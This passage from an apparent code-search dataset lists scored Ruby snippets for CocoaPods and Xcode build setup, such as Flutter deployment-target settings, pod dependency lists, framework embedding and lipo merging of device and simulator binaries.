build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "title": "" }, { "docid": "d1f47f00e751283f45666856da09e94b", "score": "0.618743", "text": "def test_framework_runtimes\n find_duplicates :frameworks\n end", "title": "" }, { "docid": "c11405c624a156208300e2f5ea261363", "score": "0.61619776", "text": "def set_carthage_framework_search_paths_for_target(target, platform)\n target.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \"$(SRCROOT)/Carthage/Build/#{platform}\"\n )\nend", "title": "" }, { "docid": "eb41e525e0880b8eed5eb889b464d9a3", "score": "0.61381185", "text": "def app_pods\n\t# Add pods from embedded frameworks to resolve dependency errors like: dyld Library not loaded, image not found\n shared_pods\n customViews_pods\n serverWorker_pods\n commons_pods\n\n\t# Automatically creates type-safe constants for localized text, colors, etc.\n\t# https://github.com/mac-cain13/R.swift\n # License: MIT\n\tpod 'R.swift'\n\n\t# A strong typed folder path structure to replace NSSearchPathForDirectoriesInDomains.\n\t# https://github.com/dreymonde/AppFolder\n # License: MIT\n\tpod 'AppFolder'\n\n\t# A collection of operators and utilities that simplify iOS layout code. Used to create view constraints in code.\n\t# https://github.com/Raizlabs/Anchorage\n # License: MIT\n\tpod 'Anchorage'\n\n\t# Reactive programming in swift and cocoa.\n\t# https://github.com/ReactiveX/RxSwift\n # License: MIT\n\tpod 'RxSwift'\n\tpod 'RxCocoa'\nend", "title": "" }, { "docid": "17f1c60750ab393c24a9604c1d9577f1", "score": "0.61253726", "text": "def link_project\n install_resources\n copy_headers\n\n @config.vendor_project(PODS_ROOT, :xcode,\n :target => 'Pods',\n :headers_dir => 'Headers',\n :products => %w{ libPods.a }\n )\n\n if ldflags = pods_xcconfig.to_hash['OTHER_LDFLAGS']\n lib_search_paths = pods_xcconfig.to_hash['LIBRARY_SEARCH_PATHS'] || \"\"\n lib_search_paths.gsub!('$(PODS_ROOT)', \"-L#{@config.project_dir}/#{PODS_ROOT}\")\n\n framework_search_paths = pods_xcconfig.to_hash['FRAMEWORK_SEARCH_PATHS']\n if framework_search_paths\n framework_search_paths.scan(/\\\"([^\\\"]+)\\\"/) do |search_path|\n path = search_path.first.gsub!(/(\\$\\(PODS_ROOT\\))|(\\$\\{PODS_ROOT\\})/, \"#{@config.project_dir}/#{PODS_ROOT}\")\n @config.framework_search_paths << path if path\n end\n end\n\n @config.frameworks.concat(ldflags.scan(/-framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.frameworks.uniq!\n @config.libs.concat(ldflags.scan(/-l([^\\s]+)/).map { |m|\n if lib_search_paths.length == 0 || File.exist?(\"/usr/lib/lib#{m[0]}.dylib\")\n \"/usr/lib/lib#{m[0]}.dylib\"\n else\n \"#{lib_search_paths} -all_load -l#{m[0]}\"\n end\n })\n @config.weak_frameworks.concat(ldflags.scan(/-weak_framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.weak_frameworks.uniq!\n @config.libs.uniq!\n end\n end", "title": "" }, { "docid": "041068ab6692119486b7bbba0b9930af", "score": "0.6049903", "text": "def target_frameworks\n if netcore?\n tfw = @proj_xml_node.css('Project PropertyGroup TargetFramework').inner_text\n tfws = @proj_xml_node.css('Project PropertyGroup TargetFrameworks').inner_text\n nfws = if tfw.nil? || tfw == '' then tfws else tfw end\n fws = nfws.split(';')\n else\n [ target_framework ]\n end\n end", "title": "" }, { "docid": "bf12c369501829108e7f66cac7ce8267", "score": "0.60307515", "text": "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "title": "" }, { "docid": "39583dbb288303a566658f3554d039eb", "score": "0.6007148", "text": "def common_pods\n\tuse_frameworks!\n\t pod 'Alamofire', '~> 5.0.0-rc.2'\n\t pod 'SnapKit', '~>5.0.1'\n\t pod 'Kingfisher'\n\t pod 'HandyJSON'\nend", "title": "" }, { "docid": "94eed13785cb468ac00769ec3618e590", "score": "0.59511596", "text": "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "title": "" }, { "docid": "1ebc4c2de8d9dd21b34beac12842a524", "score": "0.59433836", "text": "def module_specifier_prefix\n if target.requires_frameworks?\n 'framework '\n else\n ''\n end\n end", "title": "" }, { "docid": "dabe03bfd3e704e689d5241c69deba54", "score": "0.593633", "text": "def build_framework?; build.include? 'framework'; end", "title": "" }, { "docid": "0ef0c6cb701a15377accf4a0e618af72", "score": "0.59312075", "text": "def common_pods_for_target\n # Pods for getting started\n pod 'Amplify', '~> 1.0' # required amplify dependency\n pod 'Amplify/Tools', '~> 1.0' # allows to call amplify CLI from within Xcode\n\n pod 'AmplifyPlugins/AWSCognitoAuthPlugin', '~> 1.0' # support for Cognito user authentication\n pod 'AmplifyPlugins/AWSAPIPlugin', '~> 1.0' # support for GraphQL API\n pod 'AmplifyPlugins/AWSS3StoragePlugin', '~> 1.0' # support for Amazon S3 storage\nend", "title": "" }, { "docid": "4526e53b68ac15dc22393f3c12195d63", "score": "0.5929874", "text": "def add_vendored_libraries\n UI.message '- Adding libraries' do\n add_file_accessors_paths_to_pods_group(:vendored_libraries, :frameworks)\n end\n end", "title": "" }, { "docid": "cddc5c17a4b67557ea745a6709411aeb", "score": "0.5902144", "text": "def mobile_sdk_post_install(installer)\n installer.pods_project.targets.each do |target|\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n force_to_arc_supported_min = target.deployment_target.to_i < 9\n if force_to_arc_supported_min\n change_deployment_target(target, '9.0')\n end\n \n # Mobile SDK targets\n is_mobile_sdk_target = ['SalesforceAnalytics', 'SalesforceSDKCommon', 'SalesforceSDKCore', 'SmartStore', 'MobileSync', 'SalesforceReact', 'FMDB'].include?(target.name)\n if is_mobile_sdk_target\n change_deployment_target(target, '15.0')\n end\n end\nend", "title": "" }, { "docid": "af8bec971e9c9b719e8d130373dd69e6", "score": "0.58922887", "text": "def validate_dynamic_framework_support(aggregate_targets, deployment_target)\n return unless consumer.platform_name == :ios\n return unless deployment_target.nil? || Version.new(deployment_target).major < 8\n aggregate_targets.each do |target|\n if target.pod_targets.any?(&:uses_swift?)\n uses_xctest = target.spec_consumers.any? { |c| (c.frameworks + c.weak_frameworks).include? 'XCTest' }\n error('swift', 'Swift support uses dynamic frameworks and is therefore only supported on iOS > 8.') unless uses_xctest\n end\n end\n end", "title": "" }, { "docid": "59f4730565994ea67bd7fb1089a35fc3", "score": "0.5879783", "text": "def include_framework(framework_name)\n framework_name = framework_name.to_sym\n Pakyow.frameworks[framework_name].new(self).boot\n (config.app.frameworks << framework_name).uniq!\n end", "title": "" }, { "docid": "9de88493acb8eea88116633e5715ae27", "score": "0.5846964", "text": "def flutter_ios_podfile_setup; end", "title": "" }, { "docid": "63cd430c3c73b24fe70e88244d97bd57", "score": "0.5840803", "text": "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "title": "" }, { "docid": "a3feb9ba900dc7f3e3c01c724645c7de", "score": "0.5828376", "text": "def shared\n\t# normal pods (read-only)\n\tpod 'YapAnimator', :path => './'\nend", "title": "" }, { "docid": "b8a74d9a8d8487ed3e5070fcf4c316f8", "score": "0.5812785", "text": "def shared_pods\n pod 'YJCocoa/AppFrameworks/Foundation/Other'\n pod 'YJCocoa/AppFrameworks/UIKit/ScrollViewManager'\n pod 'YJCocoa/System/Dispatch'\nend", "title": "" }, { "docid": "f6990c6c09e6314ab35c400abd27d438", "score": "0.5803394", "text": "def commons_pods\nend", "title": "" }, { "docid": "a26112e7e59b50279e5397bde381e893", "score": "0.57832205", "text": "def shared_pods\n pod 'YJCocoa/AppFrameworks/UIKit/NavigationBar', :path => \"../../../../\"\n pod 'YJCocoa/System/Other', :path => \"../../../../\"\n \nend", "title": "" }, { "docid": "b11ca813fd123240612cec4791e85ffa", "score": "0.575097", "text": "def add_custom_framework(framework_path)\n puts \"Adding framework to xcode project: #{framework_path}.\"\n framework_name = File.basename(framework_path);\n local_framework_path = \"Frameworks/#{framework_name}\"\n # Add the lib file as a reference\n libRef = @project['Frameworks'].new_file(framework_path)\n # Add it to the build phase\n @target.frameworks_build_phase.add_file_reference(libRef)\n puts 'Finished adding framework.'\nend", "title": "" }, { "docid": "2d93721084b047946771a4a8b28c8e6e", "score": "0.5721566", "text": "def includes_framework?(framework_name)\n config.app.frameworks.include?(framework_name.to_sym)\n end", "title": "" }, { "docid": "3ff3fbe65fcd206d3db9645810380004", "score": "0.5709021", "text": "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "title": "" }, { "docid": "b366ea9417f75c752f0072145a4e4294", "score": "0.5692292", "text": "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "title": "" }, { "docid": "7f2d0c75eaafb0c90f70dbd11602d523", "score": "0.5685196", "text": "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "title": "" }, { "docid": "3801bf3c7a54ce7e8ff71b0f93d1c4a8", "score": "0.567065", "text": "def framework=(fw)\n @framework = fw\n end", "title": "" }, { "docid": "c137b2d8bc5bd74dd21b33790811e64a", "score": "0.56636727", "text": "def flutter_install_all_ios_pods(ios_application_path = nil)\n flutter_install_ios_engine_pod(ios_application_path)\n flutter_install_plugin_pods(ios_application_path, '.symlinks', 'ios')\nend", "title": "" }, { "docid": "3604e354b1ea94d308e403867f233d1a", "score": "0.56509197", "text": "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "title": "" }, { "docid": "94d8267a5bafed5c4ed4f717b3b00513", "score": "0.56481975", "text": "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "title": "" }, { "docid": "c9b1a3702d612c74d141d67626b23624", "score": "0.5613536", "text": "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "title": "" }, { "docid": "353eedb6e8caa2ca0634ac70070034f8", "score": "0.56039476", "text": "def use_mobile_sdk!(options={})\n path = options[:path] ||= \"./mobile_sdk/SalesforceMobileSDK-iOS\"\n\n pod 'SalesforceSDKCommon', :path => path\n pod 'SalesforceAnalytics', :path => path\n pod 'SalesforceSDKCore', :path => path\n pod 'SmartStore', :path => path\n pod 'MobileSync', :path => path\nend", "title": "" }, { "docid": "40a3186e3f9143ea9ce0e50fcdbd754a", "score": "0.5600235", "text": "def common_pods\n# pod 'AESCrypt-ObjC’\n pod 'AFNetworking’\n pod 'Aspects'\n \n pod 'FCUUID'\n pod 'FMDB'\n \n pod 'IQKeyboardManager'\n# pod 'iCarousel’\n \n# pod 'JPush'\n# pod 'JZLocationConverter'\n \n pod 'MBProgressHUD'\n pod 'MJExtension'\n pod 'MJRefresh'\n pod 'Masonry'\n \n# pod 'PopoverView'\n pod 'PPNumberButton'\n \n pod 'SDCycleScrollView'\n pod 'SDWebImage'\n pod 'SVProgressHUD'\n pod 'SocketRocket'\n pod 'Toast'\n \n# pod 'UICKeyChainStore'\n \n pod 'YBAttributeTextTapAction'\n \n# pod 'YYKit'\n pod 'YYCache'\n pod 'YYCategories'\n pod 'YYWebImage’\n pod 'YYModel’\n# pod 'YZPullDownMenu'\n# pod 'ZYCornerRadius'\n \n# pod 'UMengAnalytics-NO-IDFA'\n \n# pod 'AMapSearch-NO-IDFA'\n# pod 'AMapLocation-NO-IDFA'\n# pod 'AMapNavi-NO-IDFA'\n \n # 主模块(必须)\n# pod 'mob_sharesdk'\n# pod 'mob_sharesdk/ShareSDKUI'\n# pod 'mob_sharesdk/ShareSDKExtension'# 扩展模块(在调用可以弹出我们UI分享方法的时候是必需的)\n# pod 'mob_sharesdk/ShareSDKPlatforms/QQ'\n# pod 'mob_sharesdk/ShareSDKPlatforms/SinaWeibo'\n# pod 'mob_sharesdk/ShareSDKPlatforms/WeChatFull' #(微信sdk带支付的命令,和上面不带支付的不能共存,只能选择一个)\n# pod 'PromiseKit'\n\n pod 'NNGloble'\n pod 'NNCategoryPro'\n \n pod 'TZImagePickerController'\n \n# pod 'LookinServer', :configurations => ['Debug']\n# pod 'EchoSDK', :configurations => [\"Debug\"]\n pod 'Reveal-SDK', :configurations => ['Debug']\n\n end", "title": "" }, { "docid": "b4446613c0976526a38971a3e7927b6f", "score": "0.5579104", "text": "def flutter_additional_macos_build_settings(target)\n return unless target.platform_name == :osx\n\n # [target.deployment_target] is a [String] formatted as \"10.8\".\n deployment_target_major, deployment_target_minor = target.deployment_target.match(/(\\d+).?(\\d*)/).captures\n\n # ARC code targeting macOS 10.10 does not build on Xcode 14.3.\n force_to_arc_supported_min = !target.deployment_target.blank? &&\n (deployment_target_major.to_i < 10) ||\n (deployment_target_major.to_i == 10 && deployment_target_minor.to_i < 11)\n\n # Suppress warning when pod supports a version lower than the minimum supported by the latest stable version of Xcode (currently 10.14).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n inherit_deployment_target = !target.deployment_target.blank? &&\n (deployment_target_major.to_i < 10) ||\n (deployment_target_major.to_i == 10 && deployment_target_minor.to_i < 14)\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'darwin-x64'), __FILE__)\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'darwin-x64-release'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # macOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --macos\\\" is executed first\"\n end\n\n target.build_configurations.each do |build_configuration|\n # ARC code targeting macOS 10.10 does not build on Xcode 14.3. Force to at least macOS 10.11.\n build_configuration.build_settings['MACOSX_DEPLOYMENT_TARGET'] = '10.11' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'FlutterMacOS' }\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS'] = \"\\\"#{configuration_engine_dir}\\\" $(inherited)\"\n\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'MACOSX_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Avoid error about Pods-Runner not supporting provisioning profiles.\n # Framework signing is handled at the app layer, not per framework, so disallow individual signing.\n build_configuration.build_settings.delete 'EXPANDED_CODE_SIGN_IDENTITY'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n end\nend", "title": "" }, { "docid": "b4f0719fcbdd92709138850269556992", "score": "0.55682796", "text": "def autogenerated_pods\n pod 'FlagKit', :path => 'Carthage/Build/iOS'\n pod 'IQKeyboardManager', :path => 'Carthage/Build/iOS'\n pod 'IQKeyboardManagerSwift', :path => 'Carthage/Build/iOS'\n pod 'NVActivityIndicatorView', :path => 'Carthage/Build/iOS'\n pod 'NVActivityIndicatorViewAppExtension', :path => 'Carthage/Build/iOS'\n pod 'SideMenu', :path => 'Carthage/Build/iOS'\n pod 'SwiftMessages', :path => 'Carthage/Build/iOS'\nend", "title": "" }, { "docid": "81e227c0956d968b60268ae832d91776", "score": "0.5567439", "text": "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "title": "" }, { "docid": "971f26452dcc7c07f34f29b2d274dd0e", "score": "0.55598885", "text": "def add_system_library(names)\n Array(names).each do |name|\n path = \"usr/lib/lib#{name}.dylib\"\n unless ref = project.frameworks_group.files.find { |ref| ref.path == path }\n ref = project.frameworks_group.new_file(path, :sdk_root)\n end\n frameworks_build_phase.add_file_reference(ref, true)\n ref\n end\n end", "title": "" }, { "docid": "4df057fd7620283fd55cb58668f4783a", "score": "0.5554813", "text": "def set_swift_files_as_public(installer)\n Pod::UI.puts \"Fixing interface builder integration\"\n\n installer.pods_project.targets.each do |target|\n next unless target.respond_to?(:product_type)\n next unless target.product_type == 'com.apple.product-type.framework'\n\n target.source_build_phase.files_references.each do |file|\n next unless File.extname(file.path) == '.swift'\n\n buildFile = target.headers_build_phase.add_file_reference(file)\n buildFile.settings = { 'ATTRIBUTES' => ['Public']}\n end\n end\n\n installer.pods_project.save\nend", "title": "" }, { "docid": "06616a08e4e28ea35f204cdf1146646b", "score": "0.5522097", "text": "def flutter_macos_podfile_setup; end", "title": "" }, { "docid": "f235680ad08c1bdbe015a4a2180efe90", "score": "0.551774", "text": "def keep_source_code_for_prebuilt_frameworks!\n DSL.dont_remove_source_code = true\n end", "title": "" }, { "docid": "175fad3d2da453d550b6d0a96a50fae0", "score": "0.5506807", "text": "def common_pods\n pod \"Regift\"\nend", "title": "" }, { "docid": "40d2e64548af47364f7f86ee0cf0c3b9", "score": "0.5506376", "text": "def test_frameworks; end", "title": "" }, { "docid": "4ec0901740eb437e93847960f468d4cb", "score": "0.54907805", "text": "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n 